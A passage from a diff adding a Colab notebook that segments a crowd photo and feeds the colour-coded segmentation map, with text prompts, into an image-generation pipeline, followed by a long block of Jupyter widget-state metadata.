+        "    [0, 153, 255],\n",
+        "    [0, 41, 255],\n",
+        "    [0, 255, 204],\n",
+        "    [41, 0, 255],\n",
+        "    [41, 255, 0],\n",
+        "    [173, 0, 255],\n",
+        "    [0, 245, 255],\n",
+        "    [71, 0, 255],\n",
+        "    [122, 0, 255],\n",
+        "    [0, 255, 184],\n",
+        "    [0, 92, 255],\n",
+        "    [184, 255, 0],\n",
+        "    [0, 133, 255],\n",
+        "    [255, 214, 0],\n",
+        "    [25, 194, 194],\n",
+        "    [102, 255, 0],\n",
+        "    [92, 0, 255],\n",
+        "])"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 870
+        },
+        "id": "GjsCwREqzedB",
+        "outputId": "6ac8fcaf-a89b-4bef-bd9b-31fd753568d7"
+      },
+      "outputs": [],
+      "source": [
+        "image_input = load_image(\"https://cdn.pixabay.com/photo/2023/02/24/07/14/crowd-7810353_1280.jpg/")\n",
+        "image_input"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 870
+        },
+        "id": "qK5gkfCIzedB",
+        "outputId": "71e92874-04d1-459a-8cc6-89bc31796b2f"
+      },
+      "outputs": [],
+      "source": [
+        "# get the pixel values\n",
+        "pixel_values = image_processor(image_input, return_tensors=\"pt\").pixel_values\n",
+        "\n",
+        "# do semantic segmentation\n",
+        "with torch.no_grad():\n",
+        "  outputs = image_segmentor(pixel_values)\n",
+        "\n",
+        "# post process the semantic segmentation\n",
+        "seg = image_processor.post_process_semantic_segmentation(outputs, target_sizes=[image_input.size[::-1]])[0]\n",
+        "\n",
+        "# add colors to the different identified classes\n",
+        "color_seg = np.zeros((seg.shape[0], seg.shape[1], 3), dtype=np.uint8) # height, width, 3\n",
+        "for label, color in enumerate(palette):\n",
+        "    color_seg[seg == label, :] = color\n",
+        "\n",
+        "# convert into PIL image format\n",
+        "color_seg = color_seg.astype(np.uint8)\n",
+        "image_seg = Image.fromarray(color_seg)\n",
+        "\n",
+        "image_seg"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 897,
+          "referenced_widgets": [
+            "09441b43551f4e5f9ff77512f59d2f9e",
+            "955af4f359254125801ec776793397e7",
+            "27f8dc0ef76448be90b004529fa562cf",
+            "a3f598a48fa448dbb44a40c8c7af85e6",
+            "6c353682d9d64022a11f31357816f14d",
+            "8c0d69533b674629b69a64345fc4d67e",
+            "f2241131e8d54c1f9e8976b94b46bc67",
+            "0120420c938f4e588ac496f37bcc42eb",
+            "89a159fc68ef4972a0368c72306cd8c4",
+            "c8ce8fd6e04e416381d892fbf75a0b75",
+            "8d62ab081ff94e7abe3cc911d3376bbd"
+          ]
+        },
+        "id": "z0eWMTU0zedB",
+        "outputId": "9502f927-18cb-4baa-dc24-9c18ec4ce150"
+      },
+      "outputs": [],
+      "source": [
+        "image_output = pipe(\"A crowd of people staring at a glorious painting\", image_seg, num_inference_steps=20).images[0]\n",
+        "image_output"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 897,
+          "referenced_widgets": [
+            "312f1ce28d144f8e828d5d33c0783a58",
+            "36aae82533a5470abfa287df328448fc",
+            "7afd5032c0964fc5823189e2fc8599ed",
+            "944390d866cf430fbd562fca7781a9d9",
+            "66f7c6f267864c929727fd96a83e6d06",
+            "2e3313ac79794a18a38a6b98c0f4f28a",
+            "77ad5edb54bb4e30bdd82186e80367c8",
+            "c9311122d93c495faa2a8e0f4b8f7662",
+            "58657e2570434d73be122eafb42f490a",
+            "ef977ff25ba842c9a0475befc7b47b89",
+            "c8da6be1960c4f89a18d49205cbaa0df"
+          ]
+        },
+        "id": "LbWbrzpszedB",
+        "outputId": "4bdd8997-e047-4fbb-ef58-6162ad40a4be"
+      },
+      "outputs": [],
+      "source": [
+        "image_output = pipe(\"Aliens looking at earth from inside their spaceship from a window, not creepy, not scary, not gross, octane render, smooth\", image_seg, num_inference_steps=20).images[0]\n",
+        "image_output"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "id": "kXmBKD8G7WRU"
+      },
+      "outputs": [],
+      "source": []
+    }
+  ],
+  "metadata": {
+    "accelerator": "GPU",
+    "colab": {
+      "collapsed_sections": [
+        "h6XPbq0FrPQG",
+        "HEiobo68Kzso",
+        "fwnnyHq3oi7O",
+        "-o-9jxdtpvgi",
+        "-uc3OBwGryX9"
+      ],
+      "gpuType": "T4",
+      "provenance": []
+    },
+    "kernelspec": {
+      "display_name": "Python 3",
+      "name": "python3"
+    },
+    "language_info": {
+      "name": "python"
+    },
+    "widgets": {
+      "application/vnd.jupyter.widget-state+json": {
+        "0120420c938f4e588ac496f37bcc42eb": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "014e701444c54eee97d0b36ea38344ab": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "01fc82bb9bb84c628890b9a2349a6e6e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "02648abd8847434496722b0c5bb69858": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "02f92b3266a54cc1885140f1a378d784": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "02fe761302934b54960a8289d627d16c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_2db8827ffa344a4a8ac5487ff2997ae0",
+              "IPY_MODEL_c25de7e0bae0469d918bd6d3ea39211b",
+              "IPY_MODEL_2b5e8dcb60ee4f65af5505ffa7ea3ae2"
+            ],
+            "layout": "IPY_MODEL_9b27785afb0243f5b2298cb272c510e2"
+          }
+        },
+        "032471548f5c45ed89d8a62db800c7fc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_01fc82bb9bb84c628890b9a2349a6e6e",
+            "max": 20,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_f66573653707458f80b29a40e1193d31",
+            "value": 20
+          }
+        },
+        "03264d2988b849369f26e62a0a010d51": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "036af165dae748a19a3691dbe74e7a1a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "03800bb9bc894d2592b3d01036769944": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "0383c8a7e3384eec9205dc8f37654ee4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_58c63ae0605a4f1192c52e4306602fd7",
+            "max": 920,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_55e0a986be424043846c0e863158a1bd",
+            "value": 920
+          }
+        },
+        "058220c3342b49e0bcc1f0973566ac72": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "05ba62113d1840c38f0bcf8f291f7439": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_5850294bc56d489cb8eb90483f77254e",
+            "placeholder": "​",
+            "style": "IPY_MODEL_9d2061e3643940f496528dc7ad6e6e2e",
+            "value": "Downloading hand_pose_model.pth: 100%"
+          }
+        },
+        "069b424c2d3846b8ba69a455dbda1f88": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "06f53eb5d18941d8a947bcb21676e9c7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "0762e7a5efb84a4b9bf60c5cf3235671": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "07ad70da82f04e6c8fc64ba90f114d04": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_83067a7d3f454087ac1de91bf17c7339",
+            "placeholder": "​",
+            "style": "IPY_MODEL_d2b243b82d0641bc82bcc9500059043d",
+            "value": "Downloading (…)cheduler_config.json: 100%"
+          }
+        },
+        "083aa6ce3274445c830c4157dc9ea4be": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_be56ad8a63884a33a22bfb3b39da1cc0",
+              "IPY_MODEL_83b4c17fa697445f86f7f034fe670934",
+              "IPY_MODEL_c3dc31d7d2be42be88fe03fa33e5f20d"
+            ],
+            "layout": "IPY_MODEL_2c38cd148fe74a5897c3319be42b7d7e"
+          }
+        },
+        "09441b43551f4e5f9ff77512f59d2f9e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_955af4f359254125801ec776793397e7",
+              "IPY_MODEL_27f8dc0ef76448be90b004529fa562cf",
+              "IPY_MODEL_a3f598a48fa448dbb44a40c8c7af85e6"
+            ],
+            "layout": "IPY_MODEL_6c353682d9d64022a11f31357816f14d"
+          }
+        },
+        "0a6ed397228f4a1fafe9dfecc4c39ef6": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0a8a88ac007a41e4b0096fb114fe8a47": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_e38139b6898e4897b67aac89ee982c7a",
+            "placeholder": "​",
+            "style": "IPY_MODEL_5e144bb789054a88a43db4329bb2df05",
+            "value": "Downloading (…)rocessor_config.json: 100%"
+          }
+        },
+        "0af102aac55747fcb8854b8b5ed2dd27": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_7b0ece2c75614540a942214d1f527f91",
+            "placeholder": "​",
+            "style": "IPY_MODEL_0d3e1914b85047c7af6b6bd4fd94e197",
+            "value": " 20/20 [00:06&lt;00:00,  4.16it/s]"
+          }
+        },
+        "0c6beb3311554ae1b3bea23eadf8620d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "0d3e1914b85047c7af6b6bd4fd94e197": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "0d45fef5bbf447938e7621e77207e1ae": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0da3c6cd22da482c88af347dcbdf0d8e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "0dc0896c330d417a8b452d27699f86bf": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_6fbeaf60da4746b6a1c02a211657886b",
+            "placeholder": "​",
+            "style": "IPY_MODEL_9d1f8ee81b994f94882d776f6e401f02",
+            "value": " 209M/209M [00:01&lt;00:00, 157MB/s]"
+          }
+        },
+        "0e38cf52fb3d40d5a87ec975499ef648": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0ee14dea902c4efe81c616f34dbc7562": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_b1659a9d5e294f9bbc1b20e892e16326",
+            "placeholder": "​",
+            "style": "IPY_MODEL_308c9dc88e034f4bbcb4ee24628694ba",
+            "value": "Downloading (…)lve/main/config.json: 100%"
+          }
+        },
+        "0f796401fadb4649a30effd4c66e058f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
